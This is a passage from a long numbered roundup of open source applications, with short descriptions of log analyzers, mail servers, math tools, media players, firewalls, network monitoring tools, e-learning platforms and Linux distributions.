The self-proclaimed "most popular logfile analyzer in the world," Analog quickly generates usage statistics for Web servers. It can be used in conjunction with Report Magic to create more attractive graphs. Note that this project has not been updated in a while, but it is still used to analyze traffic on many servers. Operating System: Windows, Linux, OS X
555. AWStats
AWStats uses the log files from your Web, streaming, FTP or mail server to create easy-to-read graphical reports. It runs from the command line or as a CGI. Operating System: Windows, Linux, OS X
556. BASE
The "Basic Analysis and Security Engine," or BASE, use a Web-based interface to analyze alerts from Snort IDS. Features include role-based user authentication and Web-based setup. Operating System: OS Independent
557. IPtables Log Analyzer
This app makes it easier to understand the log files from your Shorewall, or SUSE Firewall, or Netfilter-based firewall logs. It organizes rejected, acepted, masqueraded packets, etc. into an attractive HTML page. Operating System: Linux
558. Snare
The Snare project encompasses a number of different tools and agents, all of which assist in the filtering, collection and monitoring of server log files. Commercial support and the proprietary Snare Server are also available on the same site. Operating System: Windows, Linux, OS X, others
559. Webalizer
Like AWStats and Analyzer, Webalyzer analyzes the statistics from Web servers. By default, it creates yearly and monthly usage reports which can be viewed from any browser. Operating System: Windows, Linux, OS X

Open Source Apps: Logic/Debate

560. Argumentative
Similar to mind mapping software, Argumentative helps you create an "argument map" that outlines the premises of an argument in a visual way. It's particularly helpful for projects with a lot of writing – like creating a book, website, software documentation, etc. Operating System: Windows.

Open Source Apps: Mail Servers

561. Citadel
Calling itself the "leader in true open source email and collaboration," Citadel features a unique "rooms" architecture that makes it versatile and flexible. It's available as a standard download, a VMware appliance or on a hosted basis. Operating System: Linux
562. Exim
This MTA was developed at the University of Cambridge and is still widely used in the UK. It's best for servers that are unlikely to have large volumes of mail because it doesn't have a central queue manager. Operating System: Linux, Unix
563. Postfix
Originally developed by IBM Research, Postfix is a secure mail transfer agent that is very similar to Sendmail (see below). It's fairly fast and can handle a large volume of mail. Operating System: Linux, Unix, OS X, Solaris
564. Scalix
Used by more than 1,300 corporations with more than 2 million mailboxes, Scalix offers an alternative to a Microsoft Exchange server. It offers e-mail and calendaring, with excellent Outlook support. It's available in a free community version or paid small business, enterprise or hosting versions. Operating System: Linux
565. Sendmail
While it's not as widely used as it once was, Sendmail continues to be a very popular mail transfer agent. Newer features include support for filters, authentication and external database look-ups. Operating System: Linux
567.SME Server
Based on CentOS and Red Hat Enterprise Linux, SME Server offers file and printer sharing, a mail server, network firewall, automatic backup, remote access and more. Installation and basic configuration take only about 20 minutes, and there's quite a bit of documentation for the project available on the site's wiki. Operating System: Linux
568. SOGo
SOGo is a groupware server that allows users to access e-mail and shared calendar data via the Web, a BlackBerry device, or an e-mail client like Thunderbird. The latest version adds native Outlook support. Operating System: OS Independent
569. Zimbra
The self-proclaimed "leader in open source e-mail and collaboration," Zimbra offers a mail server that provides an alternative to Exchange, as well as a desktop client that offers an alternative to Outlook. It's available in a variety of free and paid editions, including hosted versions and versions designed to run in a virtualized or private cloud environment. Operating System: Linux, Unix, OS X

Open Source Apps: Mapping

570. OpenLayers
This alternative to Google Maps and Bing Maps provides free APIs that can put dynamic, JavaScript-based maps on any website. It's sponsored by the Open Source Geospatial Foundation. Operating System: OS Independent

Open Source Apps: Math

571. Apophysis
If you're a math geek, you probably know what fractal flames are. If not, it's probably enough to know that this app lets you create and edit very strange algorithmically generated images. Operating System: Windows
572. Dr. Geo
The award-winning Dr. Geo helps both elementary (age 10 and up) and more advanced students learn basic geometric principles by interacting with geometric shapes. Check out the video on the website to see it in action. Operating System: Windows, Linux, OS X
573. Genius
This tool began as a simple calculator but has morphed into a powerful tool with many similar features as Mathematica (although it doesn't have Mathematica's full feature set). It has its own language (GEL), which can be used by researchers to create new functions. Operating System: Linux, OS X
574. GeoGebra
GeoGebra combines tools for learning dynamic geometry, algebra and calculus. It offers an intuitive GUI and a video tutorial which make it a little more user friendly than some of the similar math apps. Operating System: OS Independent
575. gnuplot
If you're comfortable working from the command line, you can use gnuplot to create 2D and 3D graphs of mathematical functions. Extensive help is available on the website, and there's even a book on Gnuplot that you can buy. Operating System: Windows, Linux, Unix, OS X, and others
576. GraphCalc
Why buy a handheld graphing calculator, when GraphCalc will do all the same things (and more) for free. According to the website, "GraphCalc can be your first, last, and only line of offense against the mathematics that threaten to push you over the brink of insanity. It slices, dices, shreds and purees functions that leave other calculators wondering what hit them." Operating System: Windows, Linux
577. Kig
This KDE app for geometry students and teacher makes it easy to draw and explore geometric shapes. It can also import files from Dr. Geo and Cabri. (Note that in order to use Kig on Windows, you'll have to download KDE for Windows.) Operating System: Windows, Linux
578. Mandelbulber
If you're geeky enough to know what a Mandelbulb is, you might enjoy this app which renders 3D fractals. More information about the app can also be found on the FractalForums site. Operating System: Windows, Linux.
579. Maxima
This "computer algebra system," handles differentiation, integration, Taylor series, Laplace transforms, ordinary differential equations, systems of linear equations, polynomials, and sets, lists, vectors, matrices, tensors, and more. It also creates 2D and 3D graphs of mathematical functions. Operating System: Windows, Linux, OS X
580. Sage
Like Mathematica, Sage can solve a wide variety of higher-level math problems and is suitable for advanced students and researchers. You'll get the most functionality out of it if you know the Python programming language. Operating System: Windows, Linux, OS X
581. Scilab
Used by many industrial engineers and university researchers, Scilab can perform hundreds of mathematical operations. It also comes with an API for those who want to use its capabilities to create their own applications. Operating System: Windows, Linux, OS X
582. TTCalc
If you need to work with numbers that are too big for the standard Windows calculator to handle, TTCalc is the solution. It includes most arithmetic and trigonometric functions, and it's accurate to 306 valid decimal digits. Operating System: Windows
583. Ultimate Calc
This scientific and graphing calculator solves complex equations and offers an easy-to-use interface. It supports plug-ins and scripts to extend its capabilities. Operating System: Windows

Open Source Apps: Microfinance

584. Mifos
This Web-based management information system (MIS) aims to help microfinance institutions streamline their operation. It offers portfolio and transaction management, on-the-fly financial product creation, in-depth client management, integrated social performance measurement, and a reporting engine. Operating System: OS Independent
585. Octopus
Rated as "one of the most user-friendly solution with highly ergonomic windows display" by the World Bank/CGAP, Octopus offers a robust, secure MIS for microfinance organizations. It's available both in a free community version or a supported professional edition. Operating System: Windows

Open Source Apps: Mind Mapper

586. FreeMind
This tool is excellent for brainstorming sessions, creating diagrams, outlining the steps of a project, process management and more. The best way to see how it works is to take a look at the screenshots on the website. Operating System: OS Independent
586. The Guide
This tool lets you organize your notes in a hierarchical, tree-based format. It's similar to a mind mapper, but not as complex. Operating System: Windows
587. XMind
Similar to FreeMind, XMind has one numerous awards, and it's been downloaded more than 1.7 million times. It also comes in an paid enterprise version that adds Gantt charts, privacy/sharing features, company themes and more export options. Operating System: Windows, Linux, OS X.

Open Source Apps: Mobility Tools

588. Brm Bluetooth Remote
This app turns your J2ME-enabled phone into a remote control for your PC. It controls most media players, PowerPoint, a remote keyboard and more. Operating System: Windows
589. F-Droid
F-Droid offers a catalog of dozens of open source apps for the Android platform. It you don't want to install them all, you can also download the individual apps separately. Operating System: Android
590. Funambol
Funambol includes a number of mobile-related tools in one package: a data synchronization service, a device management service, client connectors and a software development kit. The site also acts as a forge hosting multiple projects built with Funambol tools. Operating System: Android, iOS, Windows Mobile, Symbian
591. LISPmob
This is an open source version of the LISP-Mobile Node implementation, which provides mobile devices greater ability to roam while remaining connected to the Internet. It was originally developed by Cisco and is now maintained by Barcelona Tech University. Operating System: Linux
592. QuincyKit
QuincyKit collects information about app crashes and reports them to your server. It automatically generates reports about similar types of crashes and gives you the option of collecting user feedback. Operating System: OS X, iOS
593. Tizen
Still in the extremely early stages of development, Tizen is the mobile OS meant to replace Meego. Development is being led by Intel, Samsung and the Linux Foundation; a first release is expected in the first quarter of 2012. Operating System: N/A

Open Source Apps: Modeling

594. ArgoUML
The self-proclaimed "leading open source UML modeling tool" supports all standard UML 1.4 diagrams and comes in 10 different languages. Because it's based on Java, it runs on any platform, and it can export diagrams in six different file formats. Operating System: OS Independent
595. StarUML
Designed as an alternative to Rational Rose and other commercial modeling tools, StarUML supports both the latest UML standards and Model Driven Architecture (MDA). It's very user-friendly and features a plug-in architecture. Operating System: Windows
596. Modelio
The code behind Modelio has actually been in development for more than 20 years, but parent company Modeliosoft just recently released it under an open source license. It offers a UML modeler, BPMN support, Java code generator, and support for XML, HTML and Jython. Operating System: Windows, Linux

Open Source Apps: Multimedia Tools

597. Ampache
Ampache is both a video/audio player and a streaming server. With it you can set up a multimedia server that will allow you to access your audio and video files from any Internet-connected device. Operating System: Windows, Linux, OS X
598. AmpJuke
This streaming server boasts easy operation and speed. It automatically fetches album covers, images and lyrics from various Web services, and it enables sharing of your favorites lists. Operating System: Windows, Linux, OS X
599. Banshee
Another mobile-friendly option, Banshee syncs with smartphones and tablets and integrates with the Amazon MP3 store. Other key features include smart shuffle, automatic cover art, smart playlists, queuing and a podcast guide. Operating System: Windows, Linux, OS X, Android, iOS
600. CamStudio
Ideal for teachers and trainers, CamStudio records what you're doing on your computer so that you can play it back as a video. It also records audio and includes some basic editing capabilities. Operating System: Windows
601. Darwin Streaming Server
Developed by Apple, this QuickTime alternative was the first ever open source RTP/RTSP streaming server. The code has not been updated in a while, but it is still available for download. Operating System: Windows, Linux, OS X
602. Data Crow
If you're the extremely organized type, you'll love Data Crow. It helps you organize all of your content—CDs, DVDs, books, electronic files—and even includes a loan registration feature so that you can keep track of which friends borrowed your stuff. Operating System: OS Independent
603. InfraRecorder
This CD and DVD burner creates audio, data or mixed mode discs. It can record disc images and it supports a wide variety of audio file formats. Operating System: Windows
604. kPlaylist
Like the others in this category, kPlaylist lets you set up your own multimedia server so that you can listen or view your files over the Web and share them with your friends. Features include user authentication, Flash player support, randomizer function and more. Operating System: Windows, Linux
605. MediaInfo
MediaInfo finds tags and technical data for audio and video files, as well as some text files. It supplies the title, artist, director, number of tracks, and much, much more. Operating System: Windows, Linux, OS X, and others
606. Media Player Classic Home Cinema
This app looks a lot like Windows Media Player, and it's very lightweight while still offering a lot of features. Notable capabilities include playback and recording of television, remote control for Android smartphones and support for most audio, video and image file types. Operating System: Windows
607. MediaPortal
Like XBMC, Media Portal helps turn your PC into a home theater PC (HTPC). It plays CDs and DVDs, records TV like a DVR, supports remote controls and offers a huge library of plug-ins that can extend its capabilities further. Operating System: Windows
608. MMConvert
In addition to converting audio files, this app also handles many video files types, including asf, wmv, wma, avi, mp3, wav, mkv, mka, and ogg. Note that you may also need to download some codecs in order to convert some files. Operating System: Windows
609. Miro
Miro makes it easy to sync the audio and video files on your PC with your iPad or an Android device. In addition to playing and converting most multimedia file types, Miro also offers torrent downloading and a music and app store. Operating System: Windows, Linux, OS X, Android, iPad
610. Mplayer
Winner of numerous awards, Mplayer plays an impressively long list of multimedia file types. It installs without a GUI by default, but several front-ends are available. In addition, other developers have created versions for Windows and Mac. Operating system: Linux
611. UMPlayer
Short for "Universal Media Player," UMPlayer claims to "play everything." Key features include built-in codecs, playback for damaged files, a YouTube player/recorder, skinnable interface, subtitles search and more. Operating System: Windows, Linux, OS X
612. VideoLAN
This is the server-side solution that goes along with the VLC Media Player. It can stream all of the multimedia formats that VLC can read. Operating System: Windows, Linux, OS X
613. VLC Media Player
One of the most popular open source multimedia players, VLC plays nearly all types of audio and video files. It offers a user-friendly GUI and fast performance, and it can often play damaged files. Operating System: Windows, Linux, OS X, others
614. XBMC Media Center
Designed for home theater PCs (HTPCs), XBMC supports most types of remote controls, so it's easy to use while sitting on the couch. It plays most audio and video file types, including CDs and DVDs, and it automatically organizes your multimedia content. Operating System: Windows, Linux, OS X
615. xine
This media player is very fast, extensible and skinnable, and it supports most video file types. Work on a Windows version is underway. Operating System: OS X, Linux

Open Source Apps: Multiple Function Security Solutions

616. Bastille Linux
Formerly known as Bastille Linux, Bastille UNIX hardens your system to decrease the likelihood of a successful attack. Along the way, it asks you questions about your computer use and provides additional information about security topics, so that you're not only protecting your system, you're also educating yourself. Operating System: Linux, Unix, OS X.
617. Network Security Toolkit (NST)
Like INSERT, NST includes a whole lot of tools and a complete Linux distribution that fits on a CD-ROM. In this case, you get nearly 100 tools and the Linux copy is based on Fedora. Operating System: OS Independent.
618. OSSIM
Short for "Open Source Security Information Management," OSSIM combines 12 separate open source security tools, including Snort, Nessus, Nagios, and others. The dual goals are to prevent intrusions and give administrators a complete, detailed view of the entire network. Operating System: Windows, Mac, Linux, Unix, BSD, Solaris
619. Security and Privacy Complete
This app gives you control over a number of system settings and settings for Windows Media Player, Internet Explorer, and Firefox. A handy tooltip feature lets you know what each function does and why you might want to enable or disable it. Operating System: Windows

Open Source Apps: Music Education

620. GNU Solfege
If you wish you had a better ear for music, this app can help. It includes exercises to help you identify and sing pitches, intervals, chords, rhythmic patterns and more. Operating System: Windows, Linux, OS X
621. Impro-Visor
This "Improvisation Advisor" helps aspiring jazz musicians learn to compose their own solos. In addition to teaching students to understand improvisation, it can also improvise on its own or transcribe music. Operating System: Windows, Linux, OS X.
622. LenMus
This program includes exercises for learning music theory and aural training. It also includes a barebones score editor for writing your own compositions. Operating System: Windows, Linux, OS X

Open Source Apps: Network Firewalls

623. Devil-Linux
This Linux distribution functions as both a network firewall and an application server. It also includes many open source network and sever monitoring tools. Operating System: Linux
624. FireHOL
FireHOL describes itself as "a language to express firewalling rules." It lets you configure an iptables based firewall using four basic commands. Operating System: Linux.
625. Firestarter
Unlike most of the open-source firewalls, Firestarter can protect a single PC, as well as a network. Best of all, you can probably install it and be up and running in just a couple of minutes. Operating System: Linux
626. IPCop
This software for home or SOHO networks turns an old PC into a Linux-based firewall. It's fairly easy to configure and maintain if you're technically minded. Operating System: Linux.
627. LEAF
The "Linux Embedded Appliance Framework" (aka LEAF) can be used as an Internet gateway, router, firewall, or wireless access point. This app requires a little more know-how than some of the other choices in the category, but is still a good option. Operating System: Linux
628. m0n0wall
Like most of the other apps in this category, m0n0wall allows you to create your own firewall, but unlike most of the other firewalls here, this one runs on FreeBSD, not Linux. It occupies just 12MB and can be loaded from a compact flash card or a CD. Operating System: FreeBSD.
629.pfSense
This project is a fork of m0n0wall. While m0n0wall was created to be used on embedded hardware, pfSense was designed to make it easier to use on a full PC. It's been downloaded more than 1 million times and protects networks of all sizes from home users to large corporations. Operating System: FreeBSD.
630. Sentry Firewall
This app can operate as a network firewall, server or IDS node. It boots directly from a CD, making it very easy to set up a firewall quickly. Operating System: Linux.
631. ShellTer
An iptables-based firewall, ShellTer offers quite a bit of customization capability. Features include port forwarding, blacklisting, whitelisting, and more. Operating System: Linux.
632. Shorewall
Shorewall, aka "Shoreline Firewall," configures the Netfilter in Linux, making it easy to manage your own firewall. You can use it either to secure a network or on an individual Linux system. Operating System: Linux.
633. SmoothWall Express
Because it's designed to be used by people with no knowledge of Linux, SmoothWall Express is an excellent option if you aren't a technical whiz, but want to tackle setting up your own network. Operating System: Linux
634. Turtle Firewall
Another tool for helping you create your own Linux-based network firewall out of an old system, Turtle can be managed via a Web interface or by modifying XML files directly. The website offers a helpful manual with info for both newbies and those with experience with firewalls and networking. Operating System: Linux.
635. Vuurmuur
Like many of the other projects in this category, Vuurmurr leverages the built-in firewall capabilities in Linux. This one comes with a basic GUI, but you're still going to need to be fairly technical in order to use it. Operating System: Linux.

Open Source Apps: Network Management

636. CloseTheDoor
This tool allows network and security managers to identify all listening ports for their listening ports for IPv4 and IPv6 networks. It provides information and allows you to shut down remote attacks. Operating System: Windows
637. OpenNMS
OpenNMS bills itself as "the world’s first enterprise grade network management application platform developed under the open source model." It offers a vast list of features for automated and directed discovery, event and notification management, service assurance and performance management. Operating System: Windows, Linux, OS X, iOS
638. Zenoss Core
Zenoss combines a configuration management database with availability and performance monitoring, event management and reporting. It also includes a Web portal and dashboards so that administrators can see what's happening with their IT systems at a glance. Operating System: Linux, OS X

Open Source Apps: Network Monitoring/Scanning/Intrusion Detection

639. AFICK
Like Tripwire, "Another File Integrity Checker," or AFICK for short, detects changes in files caused by network intruders. It's easy to install and can be used from the command line or a GUI. Operating System: Windows, Linux.
640. Angry IP Scanner
Also known as "ipscan," Angry IP Scanner scans IP addresses and ports very quickly. It can generate reports that include NetBIOS information (computer name, workgroup name, and currently logged in Windows user), favorite IP address ranges, web server detection, and more. Operating System: Windows, Linux, OS X.
641. Cacti
This tool offers a user-friendly interface to manage and graph network data stored in a RRDTool database. If you have a large network, you'll probably want a separate plug-in to collect data, such as Spine. Operating System: Windows, Linux
642. Ganglia
Specifically designed for high performance computing systems such as clusters and grids, Ganglia uses a highly scalable hierarchical architecture. It was built for the UC Berkeley Millennium Project, and you can view a demo of that network's operation from the site. Operating System: Linux, others
643. Kismet
Kismet is a combination wireless network detector, packet sniffer, and IDS. Often used to detect unprotected or hidden networks, it's a valuable tool for checking the security of your wireless network, as well as monitoring network activity. Operating System: Windows, Mac, Linux, Unix, BSD
644. Knocker
This simple TCP security port scanner works on multiple platforms and is easy to use. Operating System: Windows, Linux, Unix.
645. Munin
Munin is designed to help network administrators spot trends and figure out the root cause of performance problems. And in case you're wondering, the name comes from Norse mythology and means "memory." Operating System: Linux, OS X
646. Nagios
The "industry standard in open source monitoring," Nagios provides alerts that can help IT respond to problems before they can cause costly outages. Well-known users include Unisys, Wells Fargo, BT, iRobot, and the Office of the President of the United States. Commercial support and maintenance packages are available from Nagios Enterprises. Operating system: Linux, Unix
647. NDT
NDT is short for "Network Diagnostic Tool," and it does just that—diagnosing network performance problems. It's a client/server app that requires a Linux server; however, the client can run on any system with Java installed. It's not as robust as some of the other full monitoring tools on our list, but it does this one thing very well. Operating System: Linux
648. Net-SNMP
As you might guess from the name, this tool uses SNMP v1, SNMP v2c and SNMP v3 protocols to monitor the health of network equipment. Because it focuses only on SNMP it's not as complete as the commercial monitoring software or many of the other open source options on our list. Operating System: Windows, Linux
649. NSAT
Short for "Network Security Analysis Tool," NSAT performs bulk scans for 50 different services and hundreds of vulnerabilities. It provides professional-grade penetration testing and comprehensive auditing. Operating System: Linux, Unix, FreeBSD, OS X.
650. Open Source Tripwire
The standard version of Tripwire is no longer open source, but this project is built on the open source code from 2000. It alerts IT managers when changes have been made in network files in order to help them detect intrusions. Operating System: Linux.
651. Opsview Community
Opsview aims to "unify your monitoring" so that you can track your physical, cloud and hybrid infrastructure from one place. An enterprise version, additional enterprise modules, support, training and consulting services are available for a fee. Operating System: Linux
652. OSSEC
This intrusion detection system offers log analysis, file integrity checking, policy monitoring, rootkit detection, real-time alerting and more. Enterprise users can get paid support for OSSEC from Trend Micro. Operating System: Windows, Linux, OS X, others
653. Pandora FMS
The "FMS" stands for "Flexible Monitoring System," and it's apt because Pandora can monitor applications, servers, network equipment, or even stock market trends. It features an attractive GUI and can create graphs based on both real-time and stored historical data. Operating System: Windows, Linux, OS X
654. SEC
Although we put this app in the Network Monitoring category, the Simple Event Coordinator (SEC) actually works with many different applications. To use it, you set up a set of rules that specify what actions you want to occur whenever a particular event occurs. Operating System: OS Independent.
655. SniffDet
This tool implements a number of different open-source tests to see if any of the machines in your network are running in promiscuous mode or with a sniffer. Note that some of the documentation for this app is in Portuguese. Operating System: Linux.
656. Snort
The "most widely deployed IDS/IPS technology worldwide," Snort boasts millions of downloads and more than 400,000 registered users. It uses signature, protocol and anomaly-based inspection to detect and prevent intrusions on your network. Operating System: Windows, Linux, OS X, others.
657. tcpdump/libpcap
These command line tools provide packet capture (libpcap) and analysis (tcpdump) capabilities. It's a powerful tool, but not particularly user-friendly. Operating System: Linux.
658. WinDump
WinDump ports the tcpdump tools so they can be used on Windows systems. The project is managed by the same company that owns Wireshark. Operating System: Windows.
659. Wireshark
The self-proclaimed "world's foremost network protocol analyzer," Wireshark has won quite a few awards and become a standard in the industry. It allows users to capture and view the traffic on their networks. Operating System: Windows, Linux, OS X.
660. Zabbix
Calling itself the "ultimate open source monitoring solution," Zabbix provides a huge range of monitoring, alerting and visualization features. Several different levels of commercial support are available, as well as training and other services. Operating System: Windows (agent only), Linux, OS X

Open Source Apps: Network Simulation

661. GNS3
Useful for research, designing networks, or studying for certifications, GNS3 allows users to experiment with Cisco and Juniper configurations. It also simulates simple Ethernet, ATM and frame relay switches. Operating System: Windows, Linux, OS X

Open Source Apps: Office Productivity

662. AbiWord
This full-featured word processor offers nearly all of the same features as Microsoft Word, and it even reads and saves in Word-compatible formats. The newer versions of the software also offer free online collaboration for groups working on the same document through AbiCollab.net. Operating System: Windows, Linux, OS X
663. Edhita
This is a simple text editor and file transfer program for iPad only. It's missing the fancy features that would make it a full word-processing program, as well as the text highlighting and completion features you would find in code editors, but it gets basic jobs done. Operating System: iPad
664. Gnumeric
This spreadsheet app for the Gnome desktop has been praised as more accurate than the leading proprietary spreadsheet. It can read existing files from Excel and similar programs, but is not meant to be a clone of any commercial program. Operating System: Windows, Linux
665. KOffice
KDE's office suite includes KWord (word processing), KCells (spreadsheets), Showcase (presentations), Kivio (diagrams and flowcharts) and Artwork (vector graphics). The interface is quite a bit different than Microsoft Office's, but it is still easy to use. Operating System: Windows, Linux
666. LibreOffice
LibreOffice is a community fork of OpenOffice.org. It has all the same capabilities as OpenOffice.org, plus a few new features all its own. Operating System: Windows, Linux, OS X
667. LyX
LyX lets you format your document based on its structure. You mark text as a title, subtitle, etc., and then worry about the formatting later. It makes it easier to ensure continuity throughout long documents and deal with some of the difficulty of creating a document on a netbook or other device with a very small screen. Operating System: Linux, Unix, Windows, OS X
668. NeoOffice
In 2003, there was no version of OpenOffice.org for Macs, so the NeoOffice team created one. Even though OpenOffice.org and LibreOffice now offer versions for OS X, development has continued on NeoOffice, and it offers very stable operation and some Mac-specific features that aren't found in the other suites. Operating System: OS X, iOS
669. OI Notepad
In addition to creating, editing and sending notes, this note-taking application allows users to add tags, filter and sort notes. Open Intents, the organization behind this app, also offers several other open source Android apps from the same site. Operating System: Android
670. OpenOffice.org
This alternative to Microsoft Office includes word processor (Writer), spreadsheet (Calc), presentation (Impress), graphics (Draw), math/science notation (Math) and database (Base) software. It both reads and writes to Microsoft Office formats, making collaboration easy. Operating System: Windows, Linux, OS X
671. OpenOffice Document Reader
With this app you can view (but not edit) documents created with OpenOffice or LibreOffice on your phone. Features include zoom, copy and spreadsheet support. Operating System: Android
672. Text Edit
This simple text editor lets you write, edit and save short documents on your Android phone. You can select the font size and type, change colors and e-mail the documents you create. Operating System: Android
673. VuDroid
With VuDroid, users can view PDF and DJVU documents from their Android devices. Features include zoom by slider drag, fast orientation change and more. Operating System: Android
674. WriteType
If your children use your home office PC to write school reports (and of course, they do), you may want to check out WriteType. It's a word processor with special features for young students, like word completion, read back, highlighting, grammar and spell check, and more. Operating System: Windows, Linux
675. X-OOo4Kids
OpenOffice.org for Kids offers a simplified version of OpenOffice.org designed to be used by those aged 7-12. The advantage of this version, even if you're not a kid, is that it loads and runs very quickly and requires very little space on your portable drive. Operating System: Windows

Open Source Apps: Online education/eLearning

676. ATutor
This standards-based course management system has been used by many educational institutions to create award-winning websites. It was designed with an emphasis on accessibility and is very easy to use. Operating System: OS Independent
677. Canvas LMS
The Canvas learning management system is designed to be as user-friendly as possible, with an intuitive interface and features like the SpeedGrader that help instructors save time. The software is also available on an SaaS basis from corporate sponsor Instructure. Operating System: Linux, Unix, OS X
678. Chamilo
After just 18 months in existence, this open source learning management system racked up half a million users. The website includes a helpful demo so that you can try the software out before downloading. Operating System: Windows, Linux, Unix, OS X
679. Claroline
Claroline has a very international community, with users in 93 different countries. It allows instructors to publish documents in nearly any format, and it's designed to foster collaborative learning. Operating System: Windows, Linux, OS X
680. CoFFEE
Short for "Collaborative Face-to-Face Educational Environment," CoFFEE aims to help groups of students work together on problem-solving activities. It includes a set of tools for collaboration, shared work, individual work, and communication that can be managed and monitored by the instructor. Operating System: OS Independent.
681. eFront
Designed to be easy-to-use and visually appealing, eFront offers a very polished interface and all of the capabilities you would expect in an online course management system. In addition to the free version, it's also available in commercially supported versions with special features for educational institutions or enterprises. Operating System: Windows, Linux
682. ILIAS
Another international favorite, the ILIAS website includes links to organizations using ILIAS in 20 different countries. It's standards-based and includes features like webcasting, tests and assessments, support for multiple authentication methods, a SOAP interface, online surveys, integration with Google maps and more. Operating System: Windows, Linux
683. Moodle
One of the most popular online course management systems, Moodle currently has more than 43 million users accessing course content on more than 53,000 sites. It includes modules for wikis, forums, databases, assessments, document delivery and more. Operating System: Windows, Linux, OS X
684. Sakai
Originally sponsored by Stanford, the University of Michigan, Indiana University and MIT, the Sakai CLE (collaboration and learning environment) is now used by more than 350 institutions. It is a combination learning management system, research collaboration system and ePortfolio solution. The source code is available for free, or you can purchase access to a hosted version through Sakai's commercial affiliates. Operating System: OS Independent

Open Source Apps: OpenCourseWare

685. eduCommons
A number of universities around the world aren't just utilizing open-source software, they're "open-sourcing" the content of their courses by making it freely available online. EduCommons is a content management system designed for these OpenCourseWare projects. Operating System: OS Independent.
686. OCW Consortium
If learning something new without all the pressure of homework due dates and scheduled tests is your idea of fun, visit the OpenCourseWare Consortium. This isn't an open-source app; instead, it's a collection of university-level class materials that a variety of institutions have chosen to make "open source." Participating institutions include MIT, Notre Dame, the University of Michigan, and many others. Operating System: OS Independent.

Open Source Apps: Operating Systems and Kernel Modifications

687. aLinux
Formerly known as Peanut Linux, aLinux is designed to be both fast and multimedia-friendly. Its graphic interface provides an easy transition for former Windows users
688. andLinux
A good option for Windows users who would like to try out some Linux applications, andLinux runs Linux applications on Windows 2000, 2003, XP, Vista, or 7 machines
689. ArchBang
This Arch variant uses the Openbox Window Manager. It's fast and lightweight, and offers many of the same customization capabilities as Arch
690. Arch Linux
Arch is definitely not for Linux newbies, but its simple design makes it a favorite among long-time Linux users who are comfortable with the command line. By default, it installs a minimal base system but provides plenty of options for customization
691. Bodhi Linux
Bodhi puts the focus on user choice and minimalism. It uses the Enlightenment desktop environment and a "software store" that makes it easy to find and install the open source applications you want to use
692. CentOS
Short for "Community ENTerprise Operating System," CentOS is based primarily on Red Hat code. It's the most popular version of Linux for Web servers, accounting for about 30 percent of Linux-based Web servers
693. Chakra
Based on ArchLinux, Chakra uses the KDE desktop. It uses a unique "bundles" system to let users access Gtk apps without actually installing them on the system
694. Chrome OS/Chromium OS
Google's operating system goes by two names, which can make things confusing. Officially, "Chromium OS" is the open source version used primarily by developers, and "Chrome OS" is the name for the version of the operating system Google plans to include on netbooks for end users. And just to make things even more confusing, both projects share a name with Google's Web browser. For now, Chromium OS (the only version available for download) is really only suitable for advanced users and developers
695. CrunchBang
Sometimes written #!, CrunchBang is a lightweight distribution based on Debian. It's a popular option for netbooks like the Asus Eee
696.Debian
Debian is the foundation for many other Linux distributions, including Ubuntu. In addition to the core operating system, it includes 29,000 packages of open source software for a wide variety of purposes
697. DreamLinux
This distro can be installed on your desktop or run easily from a USB drive. DreamLinux installs the Xfce desktop environment by default, but it also supports Gnome
698. DSL
At just 50MB, this distro lives up to its name – Damn Small Linux (DSL). As you might expect, it's very fast and runs on older PCs, as well as fitting onto small USB drives and business card CDs
699. Easy Peasy
Designed for use on netbooks, EasyPeasy boasts millions of users in more than 166 countries. It was built to support social networking and cloud computing, and it offers very low power consumption for longer battery life on mobile devices
700. Edubuntu
This version of Ubuntu Linux was specifically designed for use in schools. It includes many of the education-related applications on this list, including the KDE education apps, GCompris and School Tool
701. eyeOS
Built for cloud computing, eyeOS makes an entire desktop, including office productivity applications, accessible from a Web browser. It also serves as a platform for creating new Web apps
702. Fedora
Fedora offers a community-supported (free) version of Linux that's very similar to and managed byRedHat. Critics have called it an "amazingly rock-solid operating system."
703. Frugalware
Like Slackware, Frugalware is best for users who aren't afraid of the command line, although it does have some graphical tools. It's designed with simplicity in mind
704. Fusion
Fusion describes itself as a "pimp my ride" version of Fedora. It offers good multimedia support and an interesting look and feel. It's best for more advanced Linux users who are looking for cutting edge, experimental applications
705. Gentoo
First released in 2002, Gentoo boasts "extreme configurability, performance and a top-notch user and developer community." It uses the Portage package management system, which currently includes more than 10,000 different applications
706. GoboLinux
GoboLinux's claim to fame is that is doesn't use the Unix Filesystem Hierarchy Standard, but instead stores each program in its own sub-directory in the Program directory. That means that it's a little bit easier to use for Linux newbies or experienced Linux users who like to install applications from the original source code
707. gNewSense
Supported by the Free Software Foundation, gNewSense is based on Ubuntu with a few changes, like the removal of non-free firmware. The name started as a pun on "Gnu" and "nuisance" and is pronounced guh-NEW-sense.
708. Illumos
When Oracle discontinued development of OpenSolaris, some of the developers who had been working on the project forked it to the Illumos project, where development and bug fixes continue. If you are looking for a free version of Solaris, this is the option for you. To download the software, visit the OpenIndiana page above.
709. Joli OS
Joli installs in just ten minutes and is optimized for cloud computing applicatons. Use it to breathe new life into an old PC, or you can run it alongside Windows
710. Knoppix
Suitable for beginners, Knoppix is an easy-to-use distribution based on Debian. It runs from a live CD, and if you don't want to go to the trouble to burn your own (or you don't know how), you can buy one for less than two bucks
711. Kubuntu
As the name suggests, Kubuntu is a Ubuntu fork that uses the KDE desktop instead of the Unity desktop. It's an excellent choice for new Linux users
712. Linux Mint
Linux Mint boasts that it is the fourth most popular operating system for home users, behind Windows, OS X, and Ubuntu. It has a reputation for being very easy to use and it includes about 30,000 packages.
713. Lubuntu
Lubuntu is lighter, faster, and uses less energy than its namesake, making it a good choice for mobile devices, including netbooks. It uses the LXDE desktop instead of the Unity desktop
714. Mageia
In 2010, a group of Mandriva developers began this community-driven fork following some ownership changes at the company that owns the Mandriva project. It's currently in beta, but the first official release is due in a few weeks
715. Mandriva
Owned by a publicly traded French company, Mandriva claims more than 3 million users worldwide. It's available in several editions, desktop and server, paid and unpaid, including a unique Instant On version that boots up with minimal functionality in less than 10 seconds
716. MeeGo
Based on Intel's Moblin and Nokia's Maemo, MeeGo is known as a smartphone OS, but it can also be used on netbooks and other mobile devices. With Nokia moving to Windows Phone 7 for future headsets, MeeGo's future is uncertain
717. MEPIS
Debian-based MEPIS (also known as simplyMEPIS) is particularly popular with those new to Linux. It's available in free downloadable versions, or you can purchase a CD which makes trying or installing the software easy.
718. MoonOS
